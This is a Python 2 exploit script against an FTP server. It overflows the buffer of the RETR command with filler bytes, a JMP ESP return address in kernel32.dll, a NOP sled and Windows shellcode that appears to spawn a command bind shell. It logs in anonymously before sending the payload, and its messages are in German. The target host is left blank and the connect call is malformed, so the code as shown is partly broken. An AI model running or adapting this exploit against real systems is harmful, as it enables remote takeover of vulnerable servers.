import struct,socket, sys, time

shellcode = ("\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50" +
            "\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
            "\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7" +
            "\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78" +
            "\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3" +
            "\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01" +
            "\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58" +
            "\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3" +
            "\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a" +
            "\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32" +
            "\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff" +
            "\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b" +
            "\x00\xff\xd5\x6a\x08\x59\x50\xe2\xfd\x40\x50\x40\x50\x68" +
            "\xea\x0f\xdf\xe0\xff\xd5\x97\x68\x02\x00\x11\x5c\x89\xe6" +
            "\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5\x57\x68\xb7" +
            "\xe9\x38\xff\xff\xd5\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57" +
            "\x97\x68\x75\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89" +
            "\xe3\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7" +
            "\x44\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50" +
            "\x56\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f" +
            "\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d" +
            "\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff" +
            "\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72" +
            "\x6f\x6a\x00\x53\xff\xd5")

overflow = "\x41" * 246
padding = "\x90" * 150
ret = struct.pack("<L", 0x7C874413) #7C874413 JMP ESP kernel32.dll nel132.dll

crash = overflow + ret + padding + shellcode

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print("[@] ")

try:
    s.connect((""), 21)
except:
    sys.exit(0)

print("[@] Sendet den Exploit (Crash)...")

s.send("USER anonymous\r\n")
s.recv(1024)
s.send("PASS \r\n")
s.recv(1024)
s.send("RETR" +" "+ crash + " \r\n")
time.sleep(5)